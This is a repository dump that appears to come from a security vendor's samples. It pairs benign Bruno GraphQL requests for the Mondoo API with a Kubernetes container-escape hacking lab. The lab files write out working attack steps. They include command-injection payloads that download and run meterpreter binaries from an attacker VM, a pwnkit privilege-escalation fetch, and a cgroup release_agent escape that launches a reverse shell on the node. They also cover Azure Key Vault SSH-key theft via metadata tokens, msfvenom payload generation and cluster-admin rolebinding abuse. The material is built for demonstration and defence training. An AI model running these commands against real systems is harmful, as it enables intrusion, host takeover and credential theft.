using the [Bruno](https://docs.usebruno.com/). 4 | 5 | ## Getting Started 6 | 7 | - Clone this repository 8 | - Install Bruno 9 | - Setup .env file with your Mondoo API key 10 | 11 | 12 | ## API Key 13 | 14 | To get started with the Mondoo API, you need to create an API key. You can create an API key in the Mondoo console. Then create a `.env` file in the root of the repository with the following content: 15 | 16 | ``` 17 | MONDOO_API_TOKEN=your-api-key 18 | MONDOO_ENDPOINT=us.api.mondoo.com 19 | SPACE_MRN=//captain.api.mondoo.app/spaces/mystifying-jennings-299629 20 | ORG_MRN=//captain.api.mondoo.app/organizations/lunalectric 21 | ``` 22 | 23 | > NOTE: While not technically required, it is recommended to use a organization API token with editor permissions to sure all samples work. 24 | 25 | ## CLI 26 | 27 | Follow the installation instructions[https://docs.usebruno.com/bru-cli/overview]. 28 | 29 | ``` 30 | bru run search/search.bru --env Mondoo 31 | ``` 32 | 33 | ## APP 34 | 35 | Follow the installation instructions[https://www.usebruno.com/downloads]. Then you open the collection and run the queries. -------------------------------------------------------------------------------- /graphql-api/Security Model/Policy- Disable.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Disable 3 | type: graphql 4 | seq: 2 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | mutation DisablePolicy($assetMrn: String!, $policyMrn: String!) { 19 | unassignPolicy(input: { assetMrn: $assetMrn, policyMrn: $policyMrn }) 20 | } 21 | 22 | } 23 | 24 | body:graphql:vars { 25 | { 26 | "assetMrn": "{{spaceMrn}}", 27 | "policyMrn": "//policy.api.mondoo.app/policies/mondoo-dns-security" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /graphql-api/Security Model/Policy- Enable.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Enable 3 | type: graphql 4 | seq: 1 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | mutation EnablePolicy($assetMrn: String!, $policyMrn: String!) { 19 | assignPolicy( 20 | input: { 21 | assetMrn: $assetMrn 22 | policyMrn: $policyMrn 23 | action: ACTIVE 24 | } 25 | ) 26 | } 27 | 28 | } 29 | 30 | body:graphql:vars { 31 | { 32 | "assetMrn": "{{spaceMrn}}", 33 | "policyMrn": "//policy.api.mondoo.app/policies/mondoo-dns-security" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /graphql-api/Security Model/Policy- List Available.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Available 3 | type: graphql 4 | seq: 3 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | { 19 | content( 20 | input: { 21 | scopeMrn: "{{spaceMrn}}" 22 | catalogType: POLICY 23 | assignedOnly: false 24 | includePrivate: true 25 | includePublic: true 26 | } 27 | ) { 28 | totalCount 29 | edges { 30 | node { 31 | __typename 32 | ... on Policy { 33 | mrn 34 | name 35 | version 36 | summary 37 | category 38 | trustLevel 39 | } 40 | } 41 | } 42 | } 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /graphql-api/Security Model/Policy- List Enabled.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Enabled 3 | type: graphql 4 | seq: 4 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | { 19 | content( 20 | input: { scopeMrn: "{{spaceMrn}}", catalogType: POLICY, assignedOnly: true } 21 | ) { 22 | totalCount 23 | edges { 24 | node { 25 | __typename 26 | ... on Policy { 27 | mrn 28 | name 29 | version 30 | summary 31 | category 32 | trustLevel 33 | } 34 | } 35 | } 36 | } 37 | } 38 | 39 | } 40 | 41 | body:graphql:vars { 42 | { 43 | "input" : { 44 | "spaceMrn" : "{{spaceMrn}}" 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /graphql-api/Security Model/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Security Model 3 | seq: 4 4 | } 5 | -------------------------------------------------------------------------------- /graphql-api/Status/Health Check.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Health Check 3 | type: http 4 | seq: 1 5 | } 6 | 7 | get { 8 | url: https://{{endpoint}}/Health/Check 9 | body: none 10 | auth: inherit 11 | } 12 | -------------------------------------------------------------------------------- /graphql-api/Status/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Status 3 | seq: 8 4 | } 5 | -------------------------------------------------------------------------------- /graphql-api/bruno.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "1", 3 | "name": "Mondoo GraphQL API Requests", 4 | "type": "collection", 5 | "ignore": [ 6 | "node_modules", 7 | ".git" 8 | ] 9 | } -------------------------------------------------------------------------------- /graphql-api/environments/Mondoo.bru: -------------------------------------------------------------------------------- 1 | vars { 2 | endpoint: {{process.env.MONDOO_ENDPOINT}} 3 | spaceMrn: {{process.env.SPACE_MRN}} 4 | orgMrn: {{process.env.ORG_MRN}} 5 | MONDOO_API_TOKEN: {{process.env.MONDOO_API_TOKEN}} 6 | } 7 | -------------------------------------------------------------------------------- /graphql-api/organization/Org- List Members.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Members 3 | type: graphql 4 | seq: 2 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query LoadOrganizationMembers { 19 | organization(mrn: "{{orgMrn}}") { 20 | id 21 | mrn 22 | members { 23 | edges { 24 | node { 25 | user { 26 | email 27 | name 28 | } 29 | roles { 30 | title 31 | } 32 | } 33 | } 34 | } 35 | } 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /graphql-api/organization/Org- List Spaces.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: List Spaces 3 | type: graphql 4 | seq: 1 5 | } 6 | 7 | post { 8 | url: https://{{endpoint}}/query 9 | body: graphql 10 | auth: bearer 11 | } 12 | 13 | auth:bearer { 14 | token: {{MONDOO_API_TOKEN}} 15 | } 16 | 17 | body:graphql { 18 | query OrganizationOverview { 19 | organizationOverview( 20 | input: { organizationMrn: "{{orgMrn}}" } 21 | ) { 22 | organizationMrn 23 | spacesOverview { 24 | spaceMrn 25 | spaceName 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /graphql-api/organization/folder.bru: -------------------------------------------------------------------------------- 1 | meta { 2 | name: Organization 3 | seq: 2 4 | } 5 | -------------------------------------------------------------------------------- /hack-lab/container-escape/README.md: -------------------------------------------------------------------------------- 1 | # Demonstrating Container Escape in Kubernetes 2 | 3 | This houses demonstration scenarios showcasing container escapes in Kubernetes environments, particularly in AKS (Azure Kubernetes Service) and EKS (Amazon Elastic Kubernetes Service). These scenarios can serve as engaging demonstrations using Mondoo. 4 | 5 | Each folder listed below contains a specific demo setup. Navigate to the corresponding README files within these folders for detailed instructions on executing each demonstration: 6 | 7 | - [aws](./aks): Contains a Terraform template for deploying an EKS Kubernetes cluster on AWS, along with a DVWA (Damn Vulnerable Web Application) container escape demo. 8 | - [azure](./azure/): Holds a Terraform template for deploying an AKS Kubernetes cluster on Azure, coupled with a DVWA container escape demo. 9 | - [gcp](./gcp): Offers a Terraform template for deploying a GKE (Google Kubernetes Engine) cluster on GCP, including a DVWA container escape demo. 10 | - [minikube](./minikube/): Presents a Terraform template for setting up a Minikube cluster with a DVWA container escape demo. 11 | 12 | The hacking demonstrations in AKS, EKS, and GKE follow the procedure below: 13 | 14 | 1. Exploit the web application through a command injection vulnerability. 15 | 2. Perform a privilege escalation to obtain root rights within the container. 16 | 3. Execute a container escape to gain a root shell on the container host. 17 | 18 | By following these steps, you can observe how potential security breaches occur and take steps to safeguard your own Kubernetes environments. 19 | 20 | ![Attack picture](assets/container-escape.png) 21 | 22 | ## Contributors + Kudos 23 | 24 | - Scott Ford [scottford-io](https://github.com/scottford-io) 25 | - Yvo Vandoorn [yvovandoorn](https://github.com/yvovandoorn) 26 | - Dominik Richter [arlimus](https://github.com/arlimus) 27 | - Christoph Hartmann [chris-rock](https://github.com/chris-rock) 28 | - Patrick Münch [atomic111](https://github.com/atomic111) 29 | - Manuel Weber [mm-weber](https://github.com/mm-weber) 30 | 31 | Thanks to all of you!! 32 | 33 | ## Disclaimer 34 | 35 | This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that we (Mondoo Inc) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not Mondoo Inc's responsibility. 36 | -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/container-escape-service-account.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/container-escape-service-account.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/container-escape.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/container-escape.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/dvwa-deployment-no-privileged.yml: -------------------------------------------------------------------------------- 1 | # Copyright (c) Mondoo, Inc. 2 | # SPDX-License-Identifier: MPL-2.0 3 | 4 | apiVersion: apps/v1 5 | kind: Deployment 6 | metadata: 7 | name: dvwa-container-escape-via-service-account 8 | namespace: default 9 | spec: 10 | selector: 11 | matchLabels: 12 | app: dvwa-container-escape-via-service-account 13 | template: 14 | metadata: 15 | labels: 16 | app: dvwa-container-escape-via-service-account 17 | spec: 18 | containers: 19 | - name: dvwa 20 | image: docker.io/pmuench/dvwa-container-escape 21 | imagePullPolicy: IfNotPresent 22 | ports: 23 | - containerPort: 80 24 | terminationGracePeriodSeconds: 30 25 | -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/dvwa-deployment.yml: -------------------------------------------------------------------------------- 1 | # Copyright (c) Mondoo, Inc. 2 | # SPDX-License-Identifier: MPL-2.0 3 | 4 | apiVersion: apps/v1 5 | kind: Deployment 6 | metadata: 7 | name: dvwa-container-escape 8 | namespace: default 9 | spec: 10 | selector: 11 | matchLabels: 12 | app: dvwa-container-escape 13 | template: 14 | metadata: 15 | labels: 16 | app: dvwa-container-escape 17 | spec: 18 | containers: 19 | - name: dvwa 20 | image: docker.io/pmuench/dvwa-container-escape 21 | imagePullPolicy: IfNotPresent 22 | ports: 23 | - containerPort: 80 24 | securityContext: 25 | privileged: true 26 | terminationGracePeriodSeconds: 30 27 | -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/dvwa_db_reset.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/dvwa_db_reset.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/dvwa_login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/dvwa_login.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/escape-to-node.yaml: -------------------------------------------------------------------------------- 1 | # Copyright (c) Mondoo, Inc. 2 | # SPDX-License-Identifier: MPL-2.0 3 | 4 | # taken from https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges 5 | apiVersion: v1 6 | kind: Pod 7 | metadata: 8 | name: priv-and-hostpid-exec-pod 9 | namespace: default 10 | labels: 11 | app: container-escape 12 | spec: 13 | hostPID: true 14 | containers: 15 | - name: priv-and-hostpid-pod 16 | image: ubuntu 17 | tty: true 18 | securityContext: 19 | privileged: true 20 | command: 21 | [ 22 | "nsenter", 23 | "--target", 24 | "1", 25 | "--mount", 26 | "--uts", 27 | "--ipc", 28 | "--net", 29 | "--pid", 30 | "--", 31 | "bash", 32 | ] 33 | #nodeName: k8s-control-plane-node 34 | # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name 35 | -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/kali-deployment.yml: -------------------------------------------------------------------------------- 1 | # Copyright (c) Mondoo, Inc. 2 | # SPDX-License-Identifier: MPL-2.0 3 | 4 | apiVersion: apps/v1 5 | kind: Deployment 6 | metadata: 7 | name: kali-hacker 8 | namespace: default 9 | spec: 10 | selector: 11 | matchLabels: 12 | app: kali-hacker 13 | template: 14 | metadata: 15 | labels: 16 | app: kali-hacker 17 | spec: 18 | containers: 19 | - name: dvwa 20 | image: docker.io/kalilinux/kali-rolling 21 | command: 22 | [ 23 | "/bin/bash", 24 | "-c", 25 | "/usr/bin/apt update -y && /usr/bin/apt install -y curl && /usr/bin/curl -vk http://:8001/met-kali -o /tmp/met && /usr/bin/chmod 777 /tmp/met && /tmp/met", 26 | ] 27 | imagePullPolicy: IfNotPresent 28 | ports: 29 | - containerPort: 80 30 | securityContext: 31 | privileged: true 32 | terminationGracePeriodSeconds: 30 33 | -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-aks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-aks.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-eks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-eks.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-aks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-aks.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-eks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-eks.png -------------------------------------------------------------------------------- /hack-lab/container-escape/assets/rolebinding-abuse.yaml: -------------------------------------------------------------------------------- 1 | # Copyright (c) Mondoo, Inc. 2 | # SPDX-License-Identifier: MPL-2.0 3 | 4 | apiVersion: rbac.authorization.k8s.io/v1 5 | kind: RoleBinding 6 | metadata: 7 | name: abuse-role 8 | namespace: default 9 | roleRef: 10 | apiGroup: rbac.authorization.k8s.io 11 | kind: ClusterRole 12 | name: cluster-admin 13 | subjects: 14 | - namespace: default 15 | kind: ServiceAccount 16 | name: default 17 | -------------------------------------------------------------------------------- /hack-lab/container-escape/aws/provider.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.region 3 | } 4 | 5 | provider "docker" {} 6 | 7 | provider "kubernetes" { 8 | host = module.eks.cluster_endpoint 9 | cluster_ca_certificate = base64decode(module.eks.cluster_certificate_authority_data) 10 | 11 | exec { 12 | api_version = "client.authentication.k8s.io/v1beta1" 13 | command = "aws" 14 | # This requires the awscli to be installed locally where Terraform is executed 15 | args = ["eks", "get-token", "--cluster-name", module.eks.cluster_name] 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /hack-lab/container-escape/aws/templates/setup_metapreter: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # install all necessary tools 4 | sudo apt update && sudo apt remove -y netcat-openbsd && sudo apt install -y netcat-traditional 5 | sudo apt install -y ca-certificates curl gnupg lsb-release 6 | sudo apt install -y nmap ruby 7 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall 8 | sudo chmod 755 /tmp/msfinstall 9 | sudo /tmp/msfinstall 10 | sudo msfdb init 11 | 12 | PUBLIC_IP=$(curl http://169.254.169.254/latest/meta-data/public-ipv4) 13 | ROOT_DIR=/home/kali/container-escape 14 | 15 | mkdir -p $ROOT_DIR 16 | 17 | [ ! -f $ROOT_DIR/met-container ] && msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4242 -f elf > $ROOT_DIR/met-container 18 | 19 | [ ! -f $ROOT_DIR/met-host ] && msfvenom -p linux/x86/shell/reverse_tcp LHOST=$PUBLIC_IP LPORT=4243 -f elf > $ROOT_DIR/met-host 20 | 21 | [ ! -f $ROOT_DIR/met-kali ] && msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4244 -f elf > $ROOT_DIR/met-kali 22 | 23 | [ ! -f $ROOT_DIR/msfconsole1 ] && echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4242;run'" > $ROOT_DIR/msfconsole1 24 | 25 | [ ! -f $ROOT_DIR/msfconsole2 ] && echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/shell/reverse_tcp;set lhost 0.0.0.0; set lport 4243;run'" > $ROOT_DIR/msfconsole2 26 | 27 | [ ! -f $ROOT_DIR/msfconsole3 ] && echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4244;run'" > $ROOT_DIR/msfconsole3 28 | 29 | [ ! -f $ROOT_DIR/start_ruby_webserver ] && echo "ruby -run -ehttpd . -p8001" > $ROOT_DIR/start_ruby_webserver 30 | 31 | chown -R kali:kali $ROOT_DIR 32 | 33 | chmod -R +x $ROOT_DIR 34 | -------------------------------------------------------------------------------- /hack-lab/container-escape/aws/variables.tf: -------------------------------------------------------------------------------- 1 | // VARIABLES 2 | 3 | variable "region" { 4 | default = "us-east-2" 5 | description = "AWS Region" 6 | } 7 | 8 | variable "demo_name" { 9 | description = "A name to be applied as a suffix to project resources" 10 | type = string 11 | } 12 | 13 | variable "kubernetes_version" { 14 | default = "1.21" 15 | description = "Kubernetes cluster version used with EKS" 16 | } 17 | 18 | variable "ssh_key" { 19 | description = "SSH key associated with Kali Linux instance" 20 | } 21 | 22 | variable "ssh_key_path" { 23 | default = "$HOME/.ssh/id_rsa" 24 | description = "Path to SSH key used for Kali Linux instance" 25 | } 26 | 27 | variable "publicIP" { 28 | description = "Your home PublicIP to configure access to Kali Linux (if needed)" 29 | } 30 | 31 | #variable "mondoo_credentials" { 32 | # description = "Path to config.json file. Can also create a config.json file and place it in the Terraform directory and simply set this variable to the value of 'config.json.'" 33 | #} -------------------------------------------------------------------------------- /hack-lab/container-escape/aws/versions.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | aws = { 4 | source = "hashicorp/aws" 5 | version = "~> 4.27" 6 | } 7 | 8 | random = { 9 | source = "hashicorp/random" 10 | version = "~> 3.3.2" 11 | } 12 | 13 | local = { 14 | source = "hashicorp/local" 15 | version = "~> 2.2.3" 16 | } 17 | 18 | null = { 19 | source = "hashicorp/null" 20 | version = "~> 3.1.1" 21 | } 22 | 23 | kubernetes = { 24 | source = "hashicorp/kubernetes" 25 | version = "~> 2.13" 26 | } 27 | docker = { 28 | source = "kreuzwerker/docker" 29 | version = "~> 2.20.2" 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /hack-lab/container-escape/azure/output.tf: -------------------------------------------------------------------------------- 1 | output "resource_group_name" { 2 | value = azurerm_resource_group.rg.name 3 | } 4 | 5 | output "public_ip_address" { 6 | value = azurerm_linux_virtual_machine.attacker_vm.public_ip_address 7 | } 8 | 9 | output "tls_private_key" { 10 | value = tls_private_key.attacker_vm_ssh.private_key_pem 11 | sensitive = true 12 | } 13 | 14 | output "summary" { 15 | value = < id_rsa 20 | ssh -o StrictHostKeyChecking=no -i id_rsa azureuser@${azurerm_linux_virtual_machine.attacker_vm.public_ip_address} 21 | 22 | export KUBECONFIG="$ {PWD}/aks-kubeconfig" 23 | kubectl apply -f ../assets/dvwa-deployment.yml 24 | kubectl port-forward $(kubectl get pods -o name) 8080:80 25 | 26 | 27 | Hacking commands: 28 | 29 | -----------------------------------dvwa-browser----------------------------------- 30 | 31 | ;curl -vk http://${azurerm_linux_virtual_machine.attacker_vm.public_ip_address}:8001/met-container -o /tmp/met 32 | ;chmod 777 /tmp/met 33 | ;/tmp/met 34 | 35 | -----------------------------------privilege-escalation--------------------------- 36 | 37 | cd /tmp 38 | curl -vkO https://pwnkit.s3.amazonaws.com/priv-es 39 | chmod a+x ./priv-es 40 | ./priv-es 41 | 42 | -----------------------------------container-escape------------------------------- 43 | 44 | mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/x 45 | echo 1 > /tmp/cgrp/x/notify_on_release 46 | echo "$(sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /proc/mounts)/cmd" > /tmp/cgrp/release_agent 47 | echo '#!/bin/sh' > /cmd 48 | echo "curl -vk http://${azurerm_linux_virtual_machine.attacker_vm.public_ip_address}:8001/met-host -o /tmp/met" >> /cmd 49 | echo "chmod 777 /tmp/met" >> /cmd 50 | echo "/tmp/met" >> /cmd 51 | chmod a+x /cmd 52 | sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" 53 | 54 | -----------------------------------azure key vault-------------------------------- 55 | 56 | curl -s -H Metadata:true --noproxy "*" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01' 57 | 58 | TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" -H "Metadata: true" | jq -r ".access_token" ) && curl -vk -s -H Metadata:true --noproxy "*" 'https://${azurerm_key_vault.keyvault.name}.vault.azure.net/secrets/private-ssh-key?api-version=2016-10-01' -H "Authorization: Bearer $TOKEN" 59 | 60 | cat key-ssh |sed 's/\\n/\n/g' > new-ssh-key 61 | chmod 600 new-ssh-key 62 | 63 | curl -4 icanhazip.com 64 | ls /home 65 | 66 | ssh -o StrictHostKeyChecking=no -i new-ssh-key ubuntu@ 67 | 68 | EOT 69 | } 70 | 71 | resource "local_file" "kubeconfig" { 72 | depends_on = [azurerm_kubernetes_cluster.cluster] 73 | filename = "aks-kubeconfig" 74 | content = azurerm_kubernetes_cluster.cluster.kube_config_raw 75 | } -------------------------------------------------------------------------------- /hack-lab/container-escape/azure/templates/prepare-hacking-vm.tpl: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # install all necessary tools 4 | sudo apt update && sudo apt remove -y netcat-openbsd && sudo apt install -y netcat-traditional 5 | sudo apt install -y ca-certificates curl gnupg lsb-release 6 | sudo apt install -y nmap ruby 7 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall 8 | sudo chmod 755 /tmp/msfinstall 9 | sudo /tmp/msfinstall 10 | sudo msfdb init 11 | 12 | # create all metasploit stuff 13 | PUBLIC_IP=$(curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text") 14 | ROOT_DIR=/root/container-escape 15 | 16 | sudo mkdir -p $ROOT_DIR 17 | 18 | sudo [ ! -f $ROOT_DIR/met-container ] && sudo msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4242 -f elf > $ROOT_DIR/met-container 19 | 20 | sudo [ ! -f $ROOT_DIR/met-host ] && sudo msfvenom -p linux/x86/shell/reverse_tcp LHOST=$PUBLIC_IP LPORT=4243 -f elf > $ROOT_DIR/met-host 21 | 22 | sudo [ ! -f $ROOT_DIR/msfconsole1 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4242;run'" > $ROOT_DIR/msfconsole1 23 | 24 | sudo [ ! -f $ROOT_DIR/msfconsole2 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/shell/reverse_tcp;set lhost 0.0.0.0; set lport 4243;run'" > $ROOT_DIR/msfconsole2 25 | 26 | sudo [ ! -f $ROOT_DIR/start_ruby_webserver ] && echo "ruby -run -ehttpd . -p8001" > $ROOT_DIR/start_ruby_webserver 27 | 28 | sudo chmod -R +x $ROOT_DIR 29 | -------------------------------------------------------------------------------- /hack-lab/container-escape/azure/variables.tf: -------------------------------------------------------------------------------- 1 | variable "resource_group_name_prefix" { 2 | default = "rg" 3 | description = "Prefix of the resource group name that's combined with a random ID so name is unique in your Azure subscription." 4 | } 5 | 6 | variable "resource_group_location" { 7 | default = "eastus" 8 | description = "Location of the resource group." 9 | } -------------------------------------------------------------------------------- /hack-lab/container-escape/azure/versions.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | azurerm = { 4 | source = "hashicorp/azurerm" 5 | #version = "~>3.0" 6 | version = " 3.54.0" 7 | } 8 | 9 | random = { 10 | source = "hashicorp/random" 11 | version = "~> 3.1.0" 12 | } 13 | 14 | local = { 15 | source = "hashicorp/local" 16 | version = "~> 2.2.0" 17 | } 18 | 19 | null = { 20 | source = "hashicorp/null" 21 | version = "~> 3.1.0" 22 | } 23 | 24 | kubernetes = { 25 | source = "hashicorp/kubernetes" 26 | version = "~> 2.10.0" 27 | } 28 | 29 | docker = { 30 | source = "kreuzwerker/docker" 31 | version = "~> 2.16.0" 32 | } 33 | } 34 | } 35 | 36 | provider "azurerm" { 37 | features {} 38 | } -------------------------------------------------------------------------------- /hack-lab/container-escape/gcp/outputs.tf: -------------------------------------------------------------------------------- 1 | #output "file" { 2 | # value = data.template_file.init.rendered 3 | #} 4 | 5 | output "attacker_vm_name" { 6 | value = google_compute_instance.pass-n2d-res.name 7 | } 8 | 9 | output "target_cluster_name" { 10 | value = google_container_cluster.primary.name 11 | } 12 | 13 | output "summary" { 14 | value = < /tmp/msfinstall 8 | sudo chmod 755 /tmp/msfinstall 9 | sudo /tmp/msfinstall 10 | sudo msfdb init 11 | 12 | # create all metasploit stuff 13 | PUBLIC_IP=$(curl -sf -H 'Metadata-Flavor:Google' http://metadata/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip) 14 | ROOT_DIR=/root/container-escape 15 | 16 | sudo mkdir -p $ROOT_DIR 17 | 18 | sudo [ ! -f $ROOT_DIR/met-container ] && sudo msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4242 -f elf > $ROOT_DIR/met-container 19 | 20 | sudo [ ! -f $ROOT_DIR/met-host ] && sudo msfvenom -p linux/x86/shell/reverse_tcp LHOST=$PUBLIC_IP LPORT=4243 -f elf > $ROOT_DIR/met-host 21 | 22 | sudo [ ! -f $ROOT_DIR/msfconsole1 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4242;run'" > $ROOT_DIR/msfconsole1 23 | 24 | sudo [ ! -f $ROOT_DIR/msfconsole2 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/shell/reverse_tcp;set lhost 0.0.0.0; set lport 4243;run'" > $ROOT_DIR/msfconsole2 25 | 26 | sudo [ ! -f $ROOT_DIR/start_ruby_webserver ] && echo "ruby -run -ehttpd . -p8001" > $ROOT_DIR/start_ruby_webserver 27 | 28 | sudo chmod -R +x $ROOT_DIR 29 | 30 | sudo [ ! -f $ROOT_DIR/pub-ip ] && echo $PUBLIC_IP > $ROOT_DIR/pub-ip 31 | 32 | # create pod-esc file 33 | sudo [ ! -f $ROOT_DIR/pod-esc01 ] && echo 'apiVersion: v1' > $ROOT_DIR/pod-esc01 34 | sudo [ ! -f $ROOT_DIR/pod-esc02 ] && echo 'kind: Pod' > $ROOT_DIR/pod-esc02 35 | sudo [ ! -f $ROOT_DIR/pod-esc03 ] && echo 'metadata:' > $ROOT_DIR/pod-esc03 36 | sudo [ ! -f $ROOT_DIR/pod-esc04 ] && echo ' name: priv-and-hostpid-exec-pod' > $ROOT_DIR/pod-esc04 37 | sudo [ ! -f $ROOT_DIR/pod-esc05 ] && echo ' namespace: default' > $ROOT_DIR/pod-esc05 38 | sudo [ ! -f $ROOT_DIR/pod-esc06 ] && echo ' labels:' > $ROOT_DIR/pod-esc06 39 | sudo [ ! -f $ROOT_DIR/pod-esc07 ] && echo ' app: container-escape' > $ROOT_DIR/pod-esc07 40 | sudo [ ! -f $ROOT_DIR/pod-esc08 ] && echo 'spec:' > $ROOT_DIR/pod-esc08 41 | sudo [ ! -f $ROOT_DIR/pod-esc09 ] && echo ' hostPID: true' > $ROOT_DIR/pod-esc09 42 | sudo [ ! -f $ROOT_DIR/pod-esc10 ] && echo ' containers:' > $ROOT_DIR/pod-esc10 43 | sudo [ ! -f $ROOT_DIR/pod-esc11 ] && echo ' - name: priv-and-hostpid-pod' > $ROOT_DIR/pod-esc11 